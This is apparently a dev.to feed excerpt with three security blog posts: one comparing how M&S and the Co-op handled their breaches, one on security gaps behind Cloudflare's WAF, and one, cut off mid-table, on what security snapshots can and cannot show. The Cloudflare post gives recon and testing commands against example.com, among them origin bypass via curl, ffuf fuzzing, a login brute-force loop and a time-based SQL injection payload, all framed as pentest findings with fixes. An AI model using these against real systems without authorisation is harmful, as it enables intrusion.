&lt;p&gt;Here's the uncomfortable truth: many organizations have invested heavily in detection tools — SIEM platforms, EDR agents, behavioral analytics engines, threat intelligence feeds — but haven't done the foundational work of understanding what "normal" looks like in their own environment. When you don't know your baseline, your tools generate noise. When they generate noise, your team starts ignoring alerts. When your team ignores alerts, you get M&amp;amp;S's 48-hour detection gap.&lt;/p&gt;

&lt;p&gt;The detection problem isn't a tool problem. It's an architecture and awareness problem.&lt;/p&gt;




&lt;h2&gt;
  
  
  Question 2: When you detect it, how fast and how well do you respond?
&lt;/h2&gt;

&lt;p&gt;Detection without response is a dashboard with flashing lights nobody acts on. What matters is what happens in the minutes and hours after the alert fires.&lt;/p&gt;

&lt;p&gt;At M&amp;amp;S, the response was slow and reactive. The crisis meeting on April 19 wasn't a coordinated containment exercise — it was the beginning of a scramble. By the time leadership was fully mobilized, the attackers were already positioning ransomware.&lt;/p&gt;

&lt;p&gt;The Co-op's response tells a different story. Within the same day as the detection:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;VPN access was locked down across the organization&lt;/li&gt;
&lt;li&gt;Remote access was paused&lt;/li&gt;
&lt;li&gt;A 12-to-24-hour effort locked down compromised accounts across the environment&lt;/li&gt;
&lt;li&gt;Later that week, when the team detected software beaconing to a threat actor's command-and-control server, they proactively paused &lt;strong&gt;all communication within the affected network zone&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That last point is critical. The Co-op didn't just react to what they could see — they anticipated what they couldn't. They found roughly 40 domain controllers had been touched and decided the right move was to isolate the entire zone rather than play whack-a-mole with individual compromised systems.&lt;/p&gt;

&lt;p&gt;This wasn't improvisation. Rob Elsey again, under parliamentary questioning:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"We had actually war-gamed this precise scenario before as a leadership team."&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;They had rehearsed this. Not in the abstract — they had specifically practiced responding to a social engineering-driven credential compromise. When the real thing happened, the playbook already existed. The decisions were fast because the thinking had already been done.&lt;/p&gt;




&lt;h2&gt;
  
  
  Question 3: Does your architecture let you respond without destroying your own business?
&lt;/h2&gt;

&lt;p&gt;This is the question I find most organizations haven't even considered. And it's the one that matters most when the pressure is on.&lt;/p&gt;

&lt;p&gt;When the Co-op made the decision to isolate a network zone, online retail and payment systems continued operating normally. Why? Because they had invested in network segmentation. The online retail platform, payment processing, and customer-facing services sat on separate, insulated infrastructure. Containing the breach in one zone didn't require taking down the entire business.&lt;/p&gt;

&lt;p&gt;M&amp;amp;S didn't have that luxury. Their infrastructure was more tightly coupled — legacy systems intertwined with modern services in ways that made surgical containment nearly impossible. When the ransomware spread, it hit VMware ESXi hosts supporting online shopping, distribution logistics, and in-store systems simultaneously. To stop the bleeding, M&amp;amp;S had to shut down broad swaths of their own operations — including online orders, which stayed suspended for over three weeks.&lt;/p&gt;

&lt;p&gt;The result: a company that had tripled its cybersecurity headcount and doubled its security spend in recent years still couldn't contain a breach without crippling itself. The spending was real. The architecture to make that spending effective was not.&lt;/p&gt;




&lt;h2&gt;
  
  
  The tools trap
&lt;/h2&gt;

&lt;p&gt;I have walked into organizations that own dozens of cybersecurity products — SIEM, SOAR, EDR, XDR, NDR, CSPM, CASB, email security, identity governance, privileged access management, vulnerability scanners. The list goes on. In some cases, the security team themselves couldn't explain what half the tools did, how they interconnected, or what the escalation path looked like when a particular tool flagged something.&lt;/p&gt;

&lt;p&gt;They had accumulated a security stack that looked impressive on a procurement spreadsheet but was essentially incoherent in practice.&lt;/p&gt;

&lt;p&gt;And here's the deeper problem: in those same organizations, the security team often couldn't accurately describe their own company's system architecture. They didn't fully understand which systems depended on which, where the critical data flows were, what the trust boundaries looked like, or where a lateral movement path would lead once an attacker was inside.&lt;/p&gt;

&lt;p&gt;You cannot protect what you don't understand. No amount of tooling compensates for that gap.&lt;/p&gt;

&lt;p&gt;The Co-op didn't succeed because they bought better products. They succeeded because they understood their environment deeply enough to design architecture that supported rapid, targeted response — and they had practiced using it.&lt;/p&gt;




&lt;h2&gt;
  
  
  What actually matters
&lt;/h2&gt;

&lt;p&gt;The M&amp;amp;S and Co-op comparison isn't about one company being smarter or more careful. It's about the fact that the same attack, against two major retailers, produced completely different outcomes — and the deciding factors had almost nothing to do with the attack itself.&lt;/p&gt;

&lt;p&gt;Three questions:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Can you detect it?&lt;/strong&gt; Not "do you have detection tools" — but does your team actually know what normal looks like in your environment, and can they distinguish signal from noise fast enough to matter?&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Can you respond effectively?&lt;/strong&gt; Not "do you have an incident response plan" — but have you rehearsed it? Under realistic conditions? With the people who will actually be in the room when it happens?&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Does your architecture allow you to respond without destroying your own business?&lt;/strong&gt; Not "is your network segmented on paper" — but can you actually isolate a compromised zone while keeping critical services running?&lt;/p&gt;

&lt;p&gt;These are architecture questions. Design questions. Understanding questions. They're answered before the breach happens — or not at all.&lt;/p&gt;




&lt;h2&gt;
  
  
  The harder truth
&lt;/h2&gt;

&lt;p&gt;The M&amp;amp;S breach cost hundreds of millions of dollars. It disrupted millions of customers. It dominated UK headlines for weeks.&lt;/p&gt;

&lt;p&gt;And it started with a phone call.&lt;/p&gt;

&lt;p&gt;Social engineering works because it exploits the way organizations actually operate — the help desks, the password reset workflows, the third-party support relationships that keep businesses running. You can't eliminate that attack surface entirely without eliminating the business processes themselves.&lt;/p&gt;

&lt;p&gt;What you &lt;em&gt;can&lt;/em&gt; do is make sure that when that phone call succeeds — and statistically, at some point, it will — your organization isn't betting on the attacker making a mistake. You can limit the blast radius through architecture. You can ensure your team has practiced the response. You can tune your detection to your actual environment, not a generic baseline.&lt;/p&gt;

&lt;p&gt;The Co-op proved that preparation works. M&amp;amp;S proved that spending without preparation is expensive in ways the procurement process never accounts for.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;This article is written for developers and engineering teams who want to understand why security tooling alone doesn't determine breach outcomes — and what actually does.&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Sources
&lt;/h2&gt;

&lt;p&gt;(&lt;a href="https://committees.parliament.uk/oralevidence/16269/pdf" rel="noopener noreferrer"&gt;https://committees.parliament.uk/oralevidence/16269/pdf&lt;/a&gt;)&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://mti.com/ms-and-coop-2025-cyber-attacks-lessons-learned" rel="noopener noreferrer"&gt;MTI — M&amp;amp;S vs Co-op: How Two 2025 Cyber-Attacks Ended So Differently&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://diginomica.com/learnings-retail-cyber-attack-victims-2-how-co-operative-group-kept-lid-its-own-crisis" rel="noopener noreferrer"&gt;Diginomica — How the Co-operative Group Kept the Lid on Its Own Crisis&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.iisf.ie/files/UserFiles/Cyber-technical-guides/Scattered-Spider-and-MandS-Incident_.pdf" rel="noopener noreferrer"&gt;IIFS — Scattered Spider and M&amp;amp;S Incident (PDF)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.cyber.care/insight/m-s-vs-co-op-cyber-breaches-what-their-responses-teach-us-about-handling-attacks" rel="noopener noreferrer"&gt;Cyber.care — M&amp;amp;S vs Co-op Cyber Breaches: What Their Responses Teach Us&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.zerofox.com/blog/social-engineering-attacks-costing-retailers-millions" rel="noopener noreferrer"&gt;ZeroFox — Social Engineering Attacks Costing Retailers Millions&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.computerweekly.com/news/366623685/Chaos-spreads-at-Co-op-MS-following-DragonForce-attacks" rel="noopener noreferrer"&gt;Computer Weekly — Chaos Spreads at Co-op and M&amp;amp;S Following DragonForce Attacks&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>incidentresponse</category>
      <category>cybersecurity</category>
      <category>websecurity</category>
      <category>security</category>
    </item>
    <item>
      <title>Cloudflare Is Not Enough: Two Security Gaps We Still Find Behind the WAF</title>
      <dc:creator>Stanley A.</dc:creator>
      <pubDate>Tue, 19 May 2026 12:42:01 +0000</pubDate>
      <link>https://dev.to/stanleya/cloudflare-is-not-enough-two-security-gaps-we-still-find-behind-the-waf-41g4</link>
      <guid>https://dev.to/stanleya/cloudflare-is-not-enough-two-security-gaps-we-still-find-behind-the-waf-41g4</guid>
      <description>&lt;p&gt;Most teams I speak with have Cloudflare in front of their site. That is usually a good thing — Cloudflare absorbs DDoS traffic, proxies requests, applies managed WAF rules, and makes a messy internet-facing stack much easier to operate.&lt;/p&gt;

&lt;p&gt;But one dangerous assumption often follows:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"We are behind Cloudflare, so we are protected."&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;That is not how it works. Cloudflare only protects traffic that actually flows through Cloudflare. And even when traffic does flow through it, a WAF does not automatically fix missing authentication, exposed development environments, broken authorization, SQL injection, or business logic flaws.&lt;/p&gt;

&lt;p&gt;Here are two patterns we still find regularly during blackbox web application testing. What makes this more pressing today: with AI-assisted tooling, the reconnaissance and exploitation steps across both scenarios can be chained and executed in a matter of minutes — work that once took hours of manual effort.&lt;/p&gt;




&lt;h2&gt;
  
  
  1. The origin server is still reachable directly
&lt;/h2&gt;

&lt;p&gt;A common Cloudflare mistake is moving DNS behind the orange cloud but leaving the origin server exposed to the public internet.&lt;/p&gt;

&lt;p&gt;Attackers do not need magic to find this. They use the same passive sources defenders should already be checking:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Certificate transparency logs&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="s2"&gt;"https://crt.sh/?q=shop.example.com&amp;amp;output=json"&lt;/span&gt; | jq &lt;span class="s1"&gt;'.[].name_value'&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt;

&lt;span class="c"&gt;# Historical DNS from SecurityTrails, DNSDB, ViewDNS, etc.&lt;/span&gt;
&lt;span class="c"&gt;# Look for old A records that pre-date the Cloudflare migration.&lt;/span&gt;

&lt;span class="c"&gt;# Shodan check once an origin candidate is found&lt;/span&gt;
shodan host &amp;lt;origin-IP&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Once a candidate IP is identified, a direct request with the correct &lt;code&gt;Host&lt;/code&gt; header can confirm whether Cloudflare is being bypassed. The &lt;code&gt;-k&lt;/code&gt; flag is used here to skip certificate validation, since the origin cert may not match the hostname:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-vk&lt;/span&gt; &lt;span class="nt"&gt;--resolve&lt;/span&gt; shop.example.com:443:&amp;lt;origin-IP&amp;gt; https://shop.example.com/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The response headers tell you immediately where you are. Through Cloudflare, you would expect to see its fingerprints:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;&amp;lt; Server: cloudflare
&amp;lt; CF-RAY: 7a1b2c3d4e5f6789-LHR
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Direct to origin, you might instead see:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;&amp;lt; &lt;/span&gt;&lt;span class="k"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.1&lt;/span&gt; &lt;span class="m"&gt;200&lt;/span&gt; &lt;span class="ne"&gt;OK&lt;/span&gt;
&lt;span class="s"&gt;&amp;lt; Server: nginx/1.22.1 (Ubuntu)&lt;/span&gt;
&lt;span class="s"&gt;&amp;lt; X-Powered-By: PHP/8.1.2&lt;/span&gt;
&lt;span class="s"&gt;&amp;lt; Content-Type: text/html; charset=UTF-8&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;At that point, the WAF is not in the path at all. Any exposed admin panel, forgotten upload endpoint, missing rate limit, or application bug is reachable directly.&lt;/p&gt;

&lt;p&gt;Directory discovery against the origin might look like this. The &lt;code&gt;Host&lt;/code&gt; header is required so the server routes the request correctly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ffuf &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/wordlists/dirb/common.txt &lt;span class="se"&gt;\&lt;/span&gt;
     &lt;span class="nt"&gt;-u&lt;/span&gt; https://&amp;lt;origin-IP&amp;gt;/FUZZ &lt;span class="se"&gt;\&lt;/span&gt;
     &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Host: shop.example.com"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
     &lt;span class="nt"&gt;-mc&lt;/span&gt; 200,301,302,403 &lt;span class="se"&gt;\&lt;/span&gt;
     &lt;span class="nt"&gt;-o&lt;/span&gt; results.json
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;One recurring finding is an admin login that the team expected to be protected by Cloudflare, but is actually accessible directly on the origin. If the application also lacks login throttling, the risk compounds quickly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="k"&gt;for &lt;/span&gt;i &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;1..20&lt;span class="o"&gt;}&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
  &lt;/span&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; /dev/null &lt;span class="nt"&gt;-w&lt;/span&gt; &lt;span class="s2"&gt;"%{http_code}&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="nt"&gt;-X&lt;/span&gt; POST https://&amp;lt;origin-IP&amp;gt;/admin/login &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Host: shop.example.com"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s2"&gt;"username=admin&amp;amp;password=test&lt;/span&gt;&lt;span class="nv"&gt;$i&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="k"&gt;done&lt;/span&gt;

&lt;span class="c"&gt;# 200&lt;/span&gt;
&lt;span class="c"&gt;# 200&lt;/span&gt;
&lt;span class="c"&gt;# 200&lt;/span&gt;
&lt;span class="c"&gt;# ...no 429, no lockout, no CAPTCHA&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The important point here is not "Cloudflare failed." Cloudflare was never in the request path to begin with.&lt;/p&gt;




&lt;h2&gt;
  
  
  2. Cloudflare is in the path, but the application is still vulnerable
&lt;/h2&gt;

&lt;p&gt;The second pattern is subtler.&lt;/p&gt;

&lt;p&gt;Sometimes Cloudflare is configured correctly. Production DNS is proxied. The origin firewall only allows Cloudflare IP ranges. Direct origin access is blocked.&lt;/p&gt;

&lt;p&gt;But a development or staging subdomain is publicly reachable.&lt;/p&gt;

&lt;p&gt;A typical discovery flow:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Certificate transparency enumeration&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="s2"&gt;"https://crt.sh/?q=%.example.com&amp;amp;output=json"&lt;/span&gt; | jq &lt;span class="s1"&gt;'.[].name_value'&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt;

&lt;span class="c"&gt;# Passive multi-source subdomain discovery&lt;/span&gt;
subfinder &lt;span class="nt"&gt;-d&lt;/span&gt; example.com &lt;span class="nt"&gt;-silent&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; subdomains.txt

&lt;span class="c"&gt;# HTTP host probing&lt;/span&gt;
ffuf &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/wordlists/subdomains-top1million.txt &lt;span class="se"&gt;\&lt;/span&gt;
     &lt;span class="nt"&gt;-u&lt;/span&gt; https://FUZZ.example.com &lt;span class="se"&gt;\&lt;/span&gt;
     &lt;span class="nt"&gt;-mc&lt;/span&gt; 200,301,302,403 &lt;span class="se"&gt;\&lt;/span&gt;
     &lt;span class="nt"&gt;-t&lt;/span&gt; 50
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then a hostname appears:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;dev.example.com
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It is orange-clouded. It resolves through Cloudflare. The origin is not directly reachable.&lt;/p&gt;

&lt;p&gt;But the dev application loads with no VPN, no basic auth, no IP allowlist, and no authentication prompt.&lt;/p&gt;

&lt;p&gt;At this point, Cloudflare is doing exactly what it was configured to do: proxy traffic to a publicly available hostname.&lt;/p&gt;

&lt;p&gt;If that dev environment has debug mode enabled, the application may leak more than intended. A deliberately malformed request:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="s2"&gt;"https://dev.example.com/api/v1/accounts?account_id='"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Might return:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="k"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.1&lt;/span&gt; &lt;span class="m"&gt;500&lt;/span&gt; &lt;span class="ne"&gt;Internal Server Error&lt;/span&gt;

Error: SQLSTATE[42000]: Syntax error or access violation near ''' at line 1
Query: SELECT * FROM users WHERE account_id = ''' AND status = 'active'
File: /var/www/dev/api/v1/accounts.php, Line 88
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That single response exposes the stack, file paths, parameter names, and the full query shape.&lt;/p&gt;

&lt;p&gt;A time-based injection check can then confirm exploitability. &lt;code&gt;SLEEP()&lt;/code&gt; is MySQL-specific; adjust accordingly for other databases:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="s2"&gt;"https://dev.example.com/api/v1/accounts?account_id=1' AND SLEEP(5)-- -"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A WAF can catch some common SQL injection patterns. But it is not a replacement for parameterised queries, input validation, proper access control, and secure environment configuration. In this scenario, every request went through Cloudflare. The vulnerability still existed.&lt;/p&gt;




&lt;h2&gt;
  
  
  The shared lesson
&lt;/h2&gt;

&lt;p&gt;These are different failure modes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;In the first case, Cloudflare is bypassed entirely because the origin is publicly exposed.&lt;/li&gt;
&lt;li&gt;In the second case, Cloudflare is correctly in the path, but it proxies traffic into an unsafe application.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Both produce the same practical outcome: something sensitive is reachable from the public internet while the team assumes it is covered.&lt;/p&gt;




&lt;h2&gt;
  
  
  Checks worth running
&lt;/h2&gt;

&lt;p&gt;If you operate a Cloudflare-protected application, these are a good starting point:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Audit DNS and certificate history.&lt;/strong&gt; Check crt.sh and historical DNS sources for old origin IPs that predate the Cloudflare migration.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Test old origin IPs directly.&lt;/strong&gt; If any candidate still responds on port 80 or 443, investigate whether it bypasses the WAF.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Restrict origin inbound traffic.&lt;/strong&gt; Configure your origin firewall (or security group) to only accept connections from &lt;a href="https://www.cloudflare.com/ips/" rel="noopener noreferrer"&gt;Cloudflare's published IP ranges&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Consider Cloudflare Tunnel.&lt;/strong&gt; Rather than exposing your origin on a public IP at all, Cloudflare Tunnel creates an outbound-only connection from your server to Cloudflare, eliminating the direct exposure problem entirely.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Enumerate all DNS records, not just production.&lt;/strong&gt; Dev, staging, preview, and internal subdomains are all worth reviewing.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Protect non-production environments.&lt;/strong&gt; Put dev and staging behind VPN, an IP allowlist, or at minimum HTTP basic auth. None of these should be open to the public internet.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Disable debug mode outside controlled environments.&lt;/strong&gt; Verbose error output is a significant information leak.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Rotate or audit exposed secrets.&lt;/strong&gt; Dev environments often contain API keys, database credentials, or internal service URLs in error output or config endpoints. Treat any exposure as a potential leak.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Test application logic directly.&lt;/strong&gt; IDOR, broken access control, SQL injection, authentication flows, and exposed admin paths all require application-layer testing that a WAF cannot perform for you.&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;Cloudflare is a genuinely useful tool. WAFs are worth having.&lt;/p&gt;

&lt;p&gt;But neither tells you what is actually reachable on your infrastructure, nor how your application behaves once an attacker gets there. That requires knowing your own attack surface — and testing it.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Originally published on &lt;a href="https://wardenbit.com/free-security-snapshot.html?utm_source=devto&amp;amp;utm_medium=syndication&amp;amp;utm_campaign=cloudflare_waf_repost&amp;amp;utm_content=devto_article_cta" rel="noopener noreferrer"&gt;WardenBit&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>webdev</category>
      <category>pentest</category>
      <category>ai</category>
    </item>
    <item>
      <title>What a Free Security Snapshot Can Tell You — and What It Cannot</title>
      <dc:creator>Stanley A.</dc:creator>
      <pubDate>Tue, 12 May 2026 13:02:00 +0000</pubDate>
      <link>https://dev.to/stanleya/what-a-free-security-snapshot-can-tell-you-and-what-it-cannot-341p</link>
      <guid>https://dev.to/stanleya/what-a-free-security-snapshot-can-tell-you-and-what-it-cannot-341p</guid>
      <description>&lt;h1&gt;
  
  
  What a Free Security Snapshot Can Tell You — and What It Cannot
&lt;/h1&gt;

&lt;p&gt;Most small teams know their security posture needs attention. The harder question is: where do you actually start?&lt;/p&gt;

&lt;p&gt;Do you run an automated scanner? Ask someone for a penetration test? Wait until a customer asks for evidence? Security work is easy to defer — until something breaks.&lt;/p&gt;

&lt;p&gt;For early-stage products, ecommerce sites, web apps, APIs, and customer portals, a lightweight external security snapshot can be a sensible first step. But only if you are clear about what it is — and what it is not.&lt;/p&gt;

&lt;p&gt;This article explains the difference.&lt;/p&gt;

&lt;h2&gt;
  
  
  The problem: security is often framed as all-or-nothing
&lt;/h2&gt;

&lt;p&gt;Security work tends to get presented as either:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;run a quick automated scan, or&lt;/li&gt;
&lt;li&gt;commission a full penetration test.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Both have a place, but they solve different problems. An automated scan highlights obvious issues fast. A full penetration test provides deeper validation, manual testing, and formal reporting. But many small teams need something in between: initial visibility into externally visible risk, reviewed by a human, without the cost or scope of a full audit.&lt;/p&gt;

&lt;p&gt;That is the space a security snapshot is meant to fill.&lt;/p&gt;

&lt;h2&gt;
  
  
  What is a security snapshot?
&lt;/h2&gt;

&lt;p&gt;A security snapshot is a focused, limited review of what can be observed from the outside.&lt;/p&gt;

&lt;p&gt;It is designed to answer questions like:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Is anything obviously exposed that should not be?&lt;/li&gt;
&lt;li&gt;Are there visible configuration issues?&lt;/li&gt;
&lt;li&gt;Are important security headers missing or misconfigured?&lt;/li&gt;
&lt;li&gt;Are login, form, or public application surfaces presenting avoidable risk?&lt;/li&gt;
&lt;li&gt;Are there signs that a deeper assessment would be worthwhile?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A good snapshot should be explicit about its scope. It should not claim to test everything. It should not imply the system is secure just because no obvious issue was found.&lt;/p&gt;

&lt;p&gt;Think of it as an initial external visibility check — not a certificate of security.&lt;/p&gt;

&lt;h2&gt;
  
  
  What a snapshot can be useful for
&lt;/h2&gt;

&lt;p&gt;A lightweight external review is valuable when a team wants a fast, practical picture of their public-facing exposure.&lt;/p&gt;

&lt;p&gt;It can help with:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;identifying low-hanging external issues&lt;/li&gt;
&lt;li&gt;catching obvious configuration weaknesses&lt;/li&gt;
&lt;li&gt;reviewing public web app or API surfaces at a high level&lt;/li&gt;
&lt;li&gt;finding signs of missing security basics&lt;/li&gt;
&lt;li&gt;deciding whether a deeper penetration test is justified&lt;/li&gt;
&lt;li&gt;giving non-security stakeholders a clearer starting point&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For example, a snapshot might surface missing browser security headers, exposed staging paths, suspicious public files, weak transport security settings, verbose error behavior, or risky third-party script exposure.&lt;/p&gt;

&lt;p&gt;These findings do not require exploit-heavy testing to be useful. Sometimes the most valuable early output is simply: "Here are the visible issues worth fixing before customers, attackers, or procurement teams notice them."&lt;/p&gt;

&lt;h2&gt;
  
  
  What a snapshot cannot tell you
&lt;/h2&gt;

&lt;p&gt;This is the part that matters most.&lt;/p&gt;

&lt;p&gt;A security snapshot is not a full penetration test. It typically does not include:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;authenticated testing across user roles&lt;/li&gt;
&lt;li&gt;business logic testing&lt;/li&gt;
&lt;li&gt;deep API authorization review&lt;/li&gt;
&lt;li&gt;source code review&lt;/li&gt;
&lt;li&gt;exploit chaining&lt;/li&gt;
&lt;li&gt;cloud account or internal network testing&lt;/li&gt;
&lt;li&gt;compliance certification&lt;/li&gt;
&lt;li&gt;exhaustive coverage of every feature&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;It also cannot prove that an application is secure. Security is not binary. A limited external review reduces uncertainty — it does not eliminate it.&lt;/p&gt;

&lt;p&gt;If a vendor, consultant, or tool claims a short external check makes your product "secure," treat that as a red flag.&lt;/p&gt;

&lt;h2&gt;
  
  
  Snapshot vs. vulnerability scan vs. penetration test
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;Automated Scan&lt;/th&gt;
&lt;th&gt;Security Snapshot&lt;/th&gt;
&lt;th&gt;Penetration Test&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Speed&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Fast&lt;/td&gt;
&lt;td&gt;Fast to moderate&lt;/td&gt;
&lt;td&gt;Slower, scoped upfront&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Depth&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Surface-level&lt;/td&gt;
&lt;td&gt;External-facing&lt;/td&gt;
&lt;td&gt;Broad and deep&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Human review&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Minimal&lt;/td&gt;
&lt;td&gt;Yes, typically&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Authenticated testing&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Rarely&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Business logic&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Formal report&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Basic&lt;/td&gt;
&lt;td&gt;Summary&lt;/td&gt;
&lt;td&gt;Detailed, evidenced&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
